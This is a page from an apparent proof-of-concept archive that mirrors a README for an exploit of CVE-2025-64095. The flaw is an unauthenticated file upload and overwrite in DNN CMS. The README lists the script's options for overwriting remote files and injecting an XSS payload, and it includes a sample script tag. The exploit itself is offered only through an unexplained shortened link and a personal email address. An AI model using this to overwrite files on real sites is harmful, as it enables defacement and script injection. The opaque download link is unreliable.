Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-64095 PoC — DNN Insufficient Access Control - Image Upload allows for Site Content Overwrite

Source
Associated Vulnerability
Title:DNN Insufficient Access Control - Image Upload allows for Site Content Overwrite (CVE-2025-64095)
Description:DNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. Prior to 10.1.1, the default HTML editor provider allows unauthenticated file uploads and images can overwrite existing files. An unauthenticated user can upload and replace existing files allowing defacing a website and combined with other issue, injection XSS payloads. This vulnerability is fixed in 10.1.1.
Readme
# DNN Image Upload Exploit - CVE-2025-64095

## Overview
This exploit targets a critical vulnerability in DNN (DotNetNuke) versions prior to 10.1.1, allowing unauthenticated users to upload and overwrite files via the default HTML editor provider. By exploiting this, an attacker can replace existing site files, leading to defacement or injection of XSS payloads.

## Requirements
- Target DNN installation running version < 10.1.1
- Access to the site's HTML editor endpoint
- Basic tools: curl or a similar HTTP client for sending requests
- Optional: Burp Suite or similar for request manipulation


## Usage
```
python cve-2025-64095.py --help
```
- `--target`: URL of the DNN site
- `--payload`: Local file to upload
- `--path`: Remote path to overwrite
- `--xss`: Enable XSS mode (injects <script>alert('XSS')</script>)

## Disclaimer
For educational and penetration testing purposes only. Use responsibly and with permission.

## Exploit
[href](https://tinyurl.com/2wdm4ej6)

For any inquiries, please email me at: eviedejesu803@gmail.com
File Snapshot

[4.0K] /data/pocs/28efbeef58f321b6ca45969cee4c3e558ac34b73 └── [1.0K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →